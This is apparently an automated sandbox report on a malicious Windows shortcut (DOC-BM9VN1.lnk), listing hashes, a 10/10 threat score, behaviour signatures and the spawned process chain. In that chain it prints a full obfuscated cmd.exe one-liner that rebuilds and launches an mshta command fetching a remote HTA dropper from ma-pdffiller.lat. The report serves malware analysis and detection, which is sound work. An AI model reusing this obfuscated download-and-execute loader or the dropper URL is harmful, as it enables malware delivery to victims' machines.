Analysis
- max time kernel
58s - max time network
55s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 16:46
Static task
static1
Behavioral task
behavioral1
Sample
DOC-BM9VN1.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-BM9VN1.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-BM9VN1.lnk
- Size 2KB
- Sample260817-t98rnsem6s
- SHA256 e008bde9b903ac091bd8cfb51d7eaa99cdbcfcd8c474968048e30b5bb8cba6c8
- MD5 e425004c6f7ee920d3ac6ad125905469
- SHA1 6b9396c32a2e94033cf6d2e184d0ff30ee1f7bf9
- SHA512 1efc102ef2bbcdb513933585b513cfc8edeed7f4c83eaff385633f56df613c1b7487533f5517742979a0ab5bfb6127c07c5e07900be920493dcde4b7ff873955
- TLSH T136417B802AEA00D5F3FB8E76ECFA675049BB75515D60C65D0850820C0922F12E977F67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1652 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1652 wrote to memory of 3424 1652 cmd.exe 90 PID 3424 wrote to memory of 4284 3424 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BM9VN1.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d/v:on/C"set BUYSa=dbgdaeabmevxjcrzuuttxmedbg&&set BLO=sysvvridpcjuwolsys&&set fzA=hsvq&&set hQo=xc2tayb&&set jg=irtlac&&set POBwm=logzwycwsaibsqoatlog&&set lTJox=1mjmk&&set Vq=rsh8sl&&set ZH=nctaho&&set kt=datjtvhtnqdlsdat&&set ZZwqY=syssahasoogjmhdsjsys&&set wUtv=cacheriptcache&&set ZpJH=winxbouwin&&set eEGc=ht@tps:@//ma-@pdf@fil@[email protected]@/h/@es@[email protected]@hp@?r@=3914@69F@B@5@D82DB&&start /b !lTJox:~3,1!!Vq:~1,2!!ZH:~2,2! !eEGc:@=!"2⤵
- Suspicious use of WriteProcessMemory
PID:3424 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4284
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